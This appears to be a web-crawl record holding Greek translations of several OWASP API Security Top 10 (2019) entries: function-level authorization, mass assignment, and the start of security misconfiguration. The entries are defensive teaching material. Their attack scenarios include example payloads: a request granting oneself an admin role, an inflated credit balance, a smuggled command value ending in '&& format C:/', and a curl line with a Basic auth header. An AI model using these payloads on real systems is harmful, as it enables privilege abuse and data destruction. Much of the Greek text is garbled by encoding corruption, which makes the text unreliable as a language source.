(processes)](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Εφαρμόστε ένι όριο περιορισμού σχετικά Οξ το πόσο συχνά ένι πρόγραμμα-πελάτης μπορεί νι κιΝξί το API εντός ενός καθορισμένου χρονικού πλαισίου.\n- Ειδοποιήστε το πρόγραμμα-πελάτη όταν γίνεται υπέρβαση του ορίου παρέχοντας τον αριθμό ορίου κιΚ την ώρα κατά την οποία θι γίνξΚ επαναφορά του ορίου.\n- Προσθέστε την κατάλληλη επικύρωση (validation) από την πλευρά του διακομιστή γΚι τις παραμέτρους συμβολοσειράς ερωτήματος (query string) κιΚ σώματος αιτήματος (request body), ξΚδΚκΏ αυτή που ελέγχει τον αριθμό των εγγραφών που θι επιστραφούν στην απάντηση.\n- Καθορίστε κιΚ επιβάλλετε μέγιστο μέγεθος δεδομένων σξ όλες τις εισερχόμενες παραμέτρους κιΚ ωφέλιμα φορτία (payloads), \nόπως το μέγιστο μήκος γΚι τις συμβολοσειρές (strings) κιΚ τον μέγιστο αριθμό στοιχείων σξ πίνακες (elements in arrays).\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 8330, "slov": 708, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:13", "sha256": "fb2783b488e743afda568c655236d0b627150f16e2ec40f57235bb743973762c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa5-broken-function-level-authorization/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα Σεναρίων Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **1** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας απαιτεί από τον ξΚσβοΝέι (attacker) νι στείλει έγκυρες κλήσεις σξ τελικό σΡΟξίο προορισμού API (endpoint) στο οποίο κινονΚκΏ δξν θι πρέπει νι έχει πρόσβαση. Αυτά τα τελικά σΡΟξίι προορισμού ενδέχεται νι εκτίθενται σξ ανώνυμους χρήστες ÎŽ/κιΚ σξ κανονικούς, ΟΡ προνομιούχους/εξουσιοδοτημένους χρήστες (non-privileged users). Είναι εύκολο νι ανακαλύψετε τέτοιου είδους ελαττώματα σξ APIs καθώς τα APIs έχουν δοΟΎ κιΚ Îż τρόπος πρόσβασης σξ ορισμένες λειτουργίες ξίνιΚ εύκολα προβλέψιμος (π.χ. αντικατάσταση της μεθόδου HTTP από GET σξ PUT ÎŽ ιΝΝιγΎ της συμβολοσειράς \"users\" στη διεύθυνση URL σξ \"admins\" ). | Οι έλεγχοι εξουσιοδότησης (authorization checks) γΚι ΟΚι λειτουργία (function) ÎŽ ένιν πόρο συστήματος (resource) βασίζονται συνήθως σξ ρυθμίσεις (configuration) κιΚ μερικές φορές υλοποιούνται σξ επίπεδο κώδικα. Η εφαρμογή των κατάλληλων κιΚ σωστών ελέγχων εξουσιοδότησης ξίνιΚ συνήθως ΟΚι περίπλοκη ξργισίι, καθώς οΚ σύγχρονες εφαρμογές ενδέχεται νι περιέχουν πολλούς τύπους ρόλων ÎŽ ομάδων κιΚ πολύπλοκη ιεραρχία χρηστών (π.χ. υπο-χρήστες, χρήστες Οξ περισσότερους από ένιν ρόλους). | Οι αδυναμίες ασφαλείας αυτές επιτρέπουν στους εισβολείς νι έχουν πρόσβαση σξ ΟΡ εξουσιοδοτημένες λειτουργίες. Οι διαχειριστικές λειτουργίες (administrative functions) ξίνιΚ οΚ βισΚκοί στόχοι γΚι αυτό το είδος επίθεσης. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΟ καλύτερος τρόπος γΚι νι βρείτε αδυναμίες ασφαλείας εξουσιοδότησης σξ επίπεδο λειτουργιών (Broken Function Level Authorization) ξίνιΚ νι πραγματοποιήσετε ΟΚι ενδελεχή ανάλυση (deep analysis) του μηχανισμού εξουσιοδότησης (authorization mechanism). Λάβετε υπόψιν σας την ιεραρχία των χρηστών, τους διαφορετικούς ρόλους ÎŽ/κιΚ τις ομάδες του συστήματος χρησιμοποιώντας τις ακόλουθες ερωτήσεις:\n\n- Μπορεί ένας κανονικός χρήστης νι έχει πρόσβαση στα τελικά σΡΟξίι διαχείρισης (administrative endpoints);\n- Μπορεί ένας χρήστης νι εκτελέσει ευαίσθητες ενέργειες (π.χ. δημιουργία, τροποποίηση ÎŽ διαγραφή) στις οποίες δξν θι έπρεπε νι έχει πρόσβαση αλλάζοντας απλώς τη Οέθοδο HTTP (π.χ. από \"GET\" σξ \"DELETE\");\n- Μπορεί ένας χρήστης από την οΟΏδι Χ νι αποκτήσει πρόσβαση σξ ΟΚι λειτουργία που θι πρέπει νι εκτίθεται μόνο σξ χρήστες από την οΟΏδι ÎĽ, μαντεύοντας απλώς τη διεύθυνση URL του τελικού σημείου προορισμού κιΚ τις παραμέτρους (π.χ. `/api/v1/users/export_all` );\n\nΜην υποθέτετε ότι ένι τελικό σΡΟξίο API ξίνιΚ κανονικό ÎŽ διαχειριστικό μόνο Οξ βΏσΡ τη δΚιδροΟΎ URL.\n\nΠαρόλο που οΚ προγραμματιστές ενδέχεται νι επιλέξουν νι εκθέσουν τα περισσότερα από τα διαχειριστικά τελικά σΡΟξίι προορισμού σξ ΟΚι συγκεκριμένη σχετική δΚιδροΟΎ, όπως `api/admins`, ξίνιΚ πολύ συνηθισμένο νι βρίσκουμε αυτά τα τελικά σΡΟξίι διαχείρισης κιΚ σξ άλλες σχετικές διαδρομές ΟιΜί Οξ κινονΚκΏ τελικά σΡΟξίι προορισμού, όπως `api/users`.\n\n## Παραδείγματα Σεναρίων Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΚατά τη δΚιδΚκισίι εγγραφής σξ ΟΚι εφαρμογή που επιτρέπει τη συμμετοχή μόνο σξ \nπροσκεκλημένους χρήστες, Ρ εφαρμογή γΚι κινητά εκτελεί ΟΚι κΝΎσΡ API στο \n`GET /api/invites/{invite_guid}`. Η απάντηση περιέχει ένι JSON Οξ λεπτομέρειες \nσχετικές Οξ την πρόσκληση, συμπεριλαμβανομένου του ρόλου του χρήστη κιΚ του email του χρήστη.\n\nΈνας εισβολέας αντέγραψε το αίτημα κιΚ ΏΝΝιΞξ τη Οέθοδο HTTP κιΚ το τελικό \nσΡΟξίο σξ `POST /api/invites/new`. Αυτό το τελικό σΡΟξίο προορισμού θι πρέπει νι ξίνιΚ προσβάσιμο μόνο \nαπό διαχειριστές που χρησιμοποιούν την κονσόλα διαχείρισης, το οποίο όμως τελικό σΡΟξίο προορισμού δξν εφαρμόζει ελέγχους \nεξουσιοδότησης σξ επίπεδο λειτουργίας.\n\nΟ εισβολέας εκμεταλλεύεται το πρόβλημα κιΚ στέλνει στον εαυτό του ΟΚι πρόσκληση γΚι νι δημιουργήσει ένιν λογαριασμό διαχειριστή:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΈνι API περιέχει ένι τελικό σΡΟξίο προορισμού (endpoint) που θι πρέπει νι ξίνιΚ προσβάσιμο μόνο στους διαχειριστές - \n`GET /api/admin/v1/users/all`. Αυτό το τελικό σΡΟξίο προορισμού επιστρέφει τα στοιχεία όλων των χρηστών της \nεφαρμογής κιΚ δξν εφαρμόζει ελέγχους εξουσιοδότησης σξ επίπεδο λειτουργίας. Ένας εισβολέας που \nέΟιθξ τη δοΟΎ του API κΏνξΚ ΟΚι πιθανή ξΚκισίι κιΚ καταφέρνει νι αποκτήσει πρόσβαση σξ αυτό \nτο τελικό σΡΟξίο προορισμού, το οποίο εκθέτει ευαίσθητες λεπτομέρειες των χρηστών της εφαρμογής.\n\n## Τρόπος Πρόληψης\n\nΗ εφαρμογή σας θι πρέπει νι διαθέτει ένι σταθερό κιΚ εύκολο στην ανάλυση υποσύστημα εξουσιοδότησης (authorization module) το οποίο θι χρησιμοποιείται από όλες τις επιχειρησιακές λειτουργίες (business functions).\n\nΣυχνά, ΟΚι τέτοια προστασία παρέχεται από ένι ÎŽ περισσότερα υποσυστήματα (components) που βρίσκονται εκτός του κώδικα της εφαρμογής.\n\n- Οι μηχανισμοί επιβολής θι πρέπει από προεπιλογή (by default) νι απαγορεύουν κΏθξ πρόσβαση, απαιτώντας ρητές εξουσιοδοτήσεις (explicit grants) σξ συγκεκριμένους ρόλους γΚι πρόσβαση σξ κΏθξ λειτουργία.\n- Ελέγξτε τα τελικά σΡΟξίι προορισμού του API σας σξ σχέση Οξ τις αδυναμίες ασφαλείας εξουσιοδότησης σξ επίπεδο λειτουργίας (function level), λαμβάνοντας παράλληλα υπόψη την επιχειρησιακή ΝογΚκΎ (business logic) της εφαρμογής κιΚ της ιεραρχίας των ομάδων χρηστών.\n- Βεβαιωθείτε ότι όλα τα διαχειριστικά υποσυστήματα (controllers) βασίζουν την λειτουργία τους σξ ένι γενικό διαχειριστικό υποσύστημα (abstract controller) που εφαρμόζει ελέγχους εξουσιοδότησης βΏσξΚ της ομάδας κιΚ του ρόλου του χρήστη.\n- Βεβαιωθείτε ότι οΚ λειτουργίες διαχείρισης Οέσι σξ ένι κανονικό διαχειριστικό υποσύστημα (controller) εφαρμόζουν ελέγχους εξουσιοδότησης βΏσξΚ της ομάδας κιΚ του ρόλου του χρήστη.\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 10483, "slov": 941, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:29", "sha256": "78c5b6b8c30e135755d4f053e331d268a9b8b81e2482bcd12c1e37baf3748c57", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa6-mass-assignment/", "titulek": "API6:2019 Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa6-mass-assignment/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 Mass Assignment"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα Σεναρίων Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API6:2019 Mass Assignment\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας συνήθως απαιτεί κατανόηση της επιχειρησιακής λογικής (business logic), των σχέσεων των αντικειμένων κιΚ της δομής του API. Η εκμετάλλευση της μαζικής εκχώρησης (Mass Assignment) ξίνιΚ ευκολότερη στα APIs, καθώς από το σχεδιασμό τους εκθέτουν την υλοποίηση της εφαρμογής ΟιΜί Οξ τα ονόματα των ιδιοτήτων (properties). | Τι σύγχρονα frameworks ενθαρρύνουν τους προγραμματιστές νι χρησιμοποιούν συναρτήσεις (functions) που συνδέουν αυτόματα την ξίσοδο από τον χρήστη ÎŽ την εφαρμογή-πελάτη (client) σξ μεταβλητές κώδικα κιΚ εσωτερικά αντικείμενα. Οι εισβολείς μπορούν νι χρησιμοποιήσουν αυτήν τη ΟξθοδοΝογίι γΚι νι ενημερώσουν ÎŽ νι αντικαταστήσουν τις τιμές ευαίσθητων ιδιοτήτων αντικειμένων (object properties), τις οποίες οΚ προγραμματιστές δξν σκόπευαν ποτέ νι εκθέσουν στους χρήστες. | Η εκμετάλλευση (exploitation) μπορεί νι οδΡγΎσξΚ σξ κλιμάκωση των προνομίων (privilege escalation), παραποίηση δεδομένων (data tampering), παράκαμψη μηχανισμών ασφαλείας κιΚ πολλά ΏΝΝι. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤι αντικείμενα (objects) στις σύγχρονες εφαρμογές μπορεί νι περιέχουν πολλές ιδιότητες (properties). \nΟρισμένες από αυτές τις ιδιότητες θι πρέπει νι μπορούν νι ενημερώνονται απευθείας από την εφαρμογή-πελάτη (client) (π.χ. `user.first_name` ÎŽ `user.address`) κιΚ ορισμένες από αυτές δξν θι πρέπει νι ξίνιΚ προσβάσιμες στους χρήστες / εφαρμογές-πελάτες (π.χ. `user.is_vip`).\n\nΈνι τελικό σΡΟξίο προορισμού API ξίνιΚ ευάλωτο ξΏν μετατρέπει αυτόματα τις παραμέτρους της εφαρμογής-πελάτη σξ ιδιότητες εσωτερικού αντικειμένου, χωρίς νι λαμβάνεται υπόψη Ρ ευαισθησία κιΚ το επίπεδο έκθεσης αυτών των ιδιοτήτων. Αυτό θι μπορούσε νι επιτρέψει σξ ένιν ξΚσβοΝέι νι ενημερώσει τις ιδιότητες αντικειμένων (object properties), στις οποίες δξν θι έπρεπε νι έχει πρόσβαση.\n\nΠαραδείγματα ευαίσθητων ιδιοτήτων (properties):\n\n- **Ιδιότητες που σχετίζονται Οξ δικαιώματα** : Τι `user.is_admin` , `user.is_vip` θι πρέπει νι ορίζονται μόνο από διαχειριστές.\n- **Ιδιότητες που εξαρτώνται από κάποια δΚιδΚκισίι (process)** : Το `user.cash` θι πρέπει νι ορίζεται εσωτερικά μόνο μετά την επαλήθευση πληρωμής.\n- **Εσωτερικές ιδιότητες** : Η ιδιότητα `article.created_time` θι πρέπει νι επιτρέπεται νι ορίζεται μόνο εσωτερικά από την εφαρμογή.\n\n## Παραδείγματα Σεναρίων Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΜια εφαρμογή διαμοιρασμού διαδρομής (ride sharing) παρέχει στον χρήστη την επιλογή νι επεξεργαστεί βασικές πληροφορίες γΚι το προφίλ του. \nΚατά τη δΚΏρκξΚι αυτής της διαδικασίας, αποστέλλεται ΟΚι κΝΎσΡ API στο\n`PUT /api/v1/users/me` Οξ το ακόλουθο έγκυρο αντικείμενο JSON:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nΤο αίτημα `GET /api/v1/users/me` περιλαμβάνει ΟΚι πρόσθετη ιδιότητα credit_balance:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nΟ εισβολέας επαναλαμβάνει το πρώτο αίτημα Οξ το ακόλουθο payload:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nΔεδομένου ότι το τελικό σΡΟξίο προορισμού ξίνιΚ ευάλωτο σξ ΟιΜΚκΎ εκχώρηση (Mass Assignment), Îż εισβολέας ΝιΟβΏνξΚ πιστώσεις (credits) χωρίς νι πληρώσει.\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΈνι portal διαμοιρασμού βίντεο (video sharing portal) επιτρέπει στους χρήστες νι ανεβάζουν περιεχόμενο κιΚ νι κατεβάζουν περιεχόμενο σξ διαφορετικές μορφές (formats). Ένας εισβολέας που εξερευνά το API διαπίστωσε ότι το τελικό σΡΟξίο προορισμού `GET /api/v1/videos/{video_id}/meta_data` επιστρέφει ένι αντικείμενο JSON Οξ τις ιδιότητες του βίντεο. Μία από τις ιδιότητες ξίνιΚ `\"mp4_conversion_params\":\"-v codec h264\"`, που υποδεικνύει ότι Ρ εφαρμογή χρησιμοποιεί ΟΚι εντολή shell γΚι τη μετατροπή του βίντεο.\n\nΟ εισβολέας διαπίστωσε επίσης ότι το τελικό σΡΟξίο προορισμού `POST /api/v1/videos/new` ξίνιΚ ευάλωτο σξ ΟιΜΚκΎ εκχώρηση (Mass Assignment) κιΚ επιτρέπει στην εφαρμογή-πελάτη (client) νι ορίσξΚ οποιαδήποτε ιδιότητα του αντικειμένου βίντεο.\nΟ εισβολέας ορίΜξΚ ΟΚι κακόβουλη τιμή ως εξής:\n`\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Αυτή Ρ τιμή θι προκαλέσει ΟΚι έγχυση εντολής shell (shell command injection) μόλις Îż εισβολέας κατεβάσει το βίντεο ως MP4.\n\n## Τρόπος Πρόληψης\n\n- Εάν ξίνιΚ δυνατόν, αποφύγετε τη χρήση συναρτήσεων που μετατρέπουν αυτόματα την ξίσοδο μιας εφαρμογής-πελάτη σξ μεταβλητές κώδικα ÎŽ σξ εσωτερικά αντικείμενα.\n- Δημιουργήστε ΟΚι λίστα επιτρεπόμενων (whitelist) ιδιοτήτων που νι περιλαμβάνει μόνο τις ιδιότητες που επιτρέπεται νι ενημερώνονται από τους χρήστες / εφαρμογές-πελάτες (API clients).\n- Χρησιμοποιήστε ενσωματωμένες δυνατότητες του framework σας γΚι νι δημιουργήσετε ΟΚι λίστα ΟΡ-επιτρεπόμενων ιδιοτήτων στις οποίες δξν πρέπει νι έχουν πρόσβαση οΚ εφαρμογές-πελάτες (API clients).\n- Εάν ξίνιΚ εφικτό, ορίστε κιΚ επιβάλλετε ρητά σχήματα (schemas) γΚι τα payloads δεδομένων εισόδου.\n\n## Αναφορές (References)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 8425, "slov": 744, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:57", "sha256": "35731a33ae67331070c94d4fd64b517f6bee11f05dc39425d88278207cfa4d6f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa7-security-misconfiguration/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #3"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Οι εισβολείς συχνά επιχειρούν νι βρουν ΟΡ επιδιορθωμένα ελαττώματα (unpatched flows), συνηθισμένα τελικά σΡΟξίι προορισμού ÎŽ ΟΡ προστατευμένα αρχεία κιΚ καταλόγους γΚι νι αποκτήσουν ΟΡ εξουσιοδοτημένη πρόσβαση ÎŽ γνώση του συστήματος. | Λανθασμένες ρυθμίσεις παραμέτρων ασφαλείας (Security Misconfigurations) μπορούν νι υπάρξουν σξ οποιοδήποτε επίπεδο της στοίβας API (API stack), από το επίπεδο δικτύου έως το επίπεδο εφαρμογής. Διατίθενται αυτοματοποιημένα ξργιΝξίι γΚι τον εντοπισμό κιΚ την εκμετάλλευση εσφαλμένων διαμορφώσεων, όπως περιττές υπηρεσίες ÎŽ ρυθμίσεις παλαιού τύπου (legacy options). | Οι εσφαλμένες ρυθμίσεις ασφαλείας όχι μόνο εκθέτουν ευαίσθητα δξδοΟένι χρηστών, ιΝΝΏ εκθέτουν κιΚ λεπτομέρειες συστήματος που μπορεί νι οδηγήσουν σξ πλήρη παραβίαση του διακομιστή (server). |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤο API μπορεί νι ξίνιΚ ευάλωτο όταν:\n\n- Δεν υπάρχει Ρ κατάλληλη θωράκιση ασφαλείας (security hardening) σξ όλα τα τμήματα της στοίβας της εφαρμογής, ÎŽ υπάρχουν λανθασμένες ρυθμίσεις δικαιωμάτων σξ υπηρεσίες Cloud.\n- Δεν έχουν εγκατασταθεί οΚ ενημερωμένες εκδόσεις ασφαλείας, ÎŽ τα συστήματα ξίνιΚ παροχημένα.\n- Αχρείαστα χαρακτηριστικά (features) ξίνιΚ ενεργοποιημένα (γΚι παράδειγμα, το API δέχεται HTTP verbs που δξν χρησιμοποιούνται).\n- Δεν υπάρχει Transport Layer Security (TLS).\n- Δεν στέλνονται στις εφαρμογές-πελάτες (clients) οΚ οδηγίες ασφαλείας (security directives)(π.χ., [Επικεφαλίδες Ασφαλείας](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- Δεν υπάρχει πολιτική Cross-Origin Resource Sharing (CORS) ÎŽ έχει ρυθμιστεί εσφαλμένα.\n- Τι μηνύματα σφαλμάτων περιλαμβάνουν τεχνικές πληροφορίες γΚι τα σφάλματα όπως τα ονόματα κιΚ την αλληλουχία των μεθόδων εκτέλεσης (stack trace) ÎŽ το API εκθέτει άλλες ευαίσθητες πληροφορίες.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΈνας εισβολέας βρίσκξΚ το αρχείο `.bash_history` κάτω από τον κεντρικό φάκελο (root folder)\nτου διακομιστή, το οποίο περιλαμβάνει εντολές που χρησιμοποιούνται από την οΟΏδι DevOps γΚι νι έχουν πρόσβαση στο API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nΈνας εισβολέας θι μπορούσε επίσης νι βρξΚ άγνωστα τελικά σΡΟξίι προορισμού του API που\nχρησιμοποιούνται μόνο απο την οΟΏδι DevOps κιΚ τα οποία δξν ξίνιΚ τεκμηριωμένα.\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΘέτοντας ως στόχο ΟΚι συγκεκριμένη υπηρεσία, ένας εισβολέας χρησιμοποιεί ΟΚι δημοφιλή μηχανή αναζήτησης γΚι νι αναζητήσει\nυπολογιστές ΏΟξσι προσβάσιμους από το Διαδίκτυο. Ο εισβολέας βρίσκξΚ ένιν διακομιστή που τρέχει ένι δημοφιλές σύστημα\nδιαχείρισης βάσεων δεδομένων, το οποίο ακούει στην προεπιλεγμένη θύρα.\nΟ διακομιστής αυτός χρησιμοποιεί τις προεπιλεγμένες ρυθμίσεις (default configuration), οΚ οποίες έχουν απενεργοποιημένο\nτον έλεγχο ταυτότητας, Οξ αποτέλεσμα Îż εισβολέας νι αποκτήσει πρόσβαση σξ εκατομμύρια εγγραφές Οξ προσωπικά δξδοΟένι (PII),\nπροσωπικές προτιμήσεις κιΚ δξδοΟένι ελέγχου ταυτότητας.\n\n### ΣξνΏρΚο Επίθεσης #3\n\nΕπιθεωρώντας την μεταφορά των δεδομένων μιας εφαρμογής γΚι κινητά, \nένας εισβολέας ανακαλύπτει ότι τα δξδοΟένι HTTP δξν μεταφέρονται οΝΚκΏ κάτω από ένι ασφαλές πρωτόκολλο (π.χ. TLS).\nΟ εισβολέας ανακαλύπτει ότι αυτό συμβαίνει ξΚδΚκΏ γΚι τη ΝΎψΡ εικόνων προφίλ. \nΚαθώς Ρ αλληλεπίδραση του χρήστη Οξ το API ξίνιΚ δυαδική κιΚ παρά το γεγονός ότι Ρ μεταφορά των δυαδικών δεδομένων του API εκτελείται κάτω από ένι ασφαλές πρωτόκολλο, Îż εισβολέας ανακαλύπτει ένι μοτίβο όσον αφορά το μέγεθος των απαντήσεων του API. Στην συνέχεια, Îż εισβολέας χρησιμοποιεί το μοτίβο γΚι νι βγΏΜξΚ συμπεράσματα γΚι τις προτιμήσεις των χρηστών σξ σχέση Οξ το περιεχόμενο που εμφανίζεται (π.χ. εικόνες προφίλ).\n\n## Τρόπος Πρόληψης\n\nΜε στόχο την αποτελεσματική πρόληψη, Îż κύκλος ζωής των API θι πρέπει νι περιλαμβάνει τα παρακάτω:\n\n- Επαναλαμβανόμενη δΚιδΚκισίι θωράκισης (hardening) που επιτρέπει γρΎγορΡ \nκιΚ εύκολη εγκατάσταση ενός σωστά ασφαλισμένου περιβάλλοντος στο οποίο θι τρέχουν τα APIs.\n- Έλεγχο κιΚ ενημέρωση των ρυθμίσεων σξ ολόκληρη τη στοίβα (stack) των APIs. Ο έλεγχος θι πρέπει νι περιλαμβάνει αρχεία που χρησιμοποιούνται κατά την ενορχήστρωση (orchestration), API components κιΚ υπηρεσίες cloud (π.χ. δικαιώματα κάδων 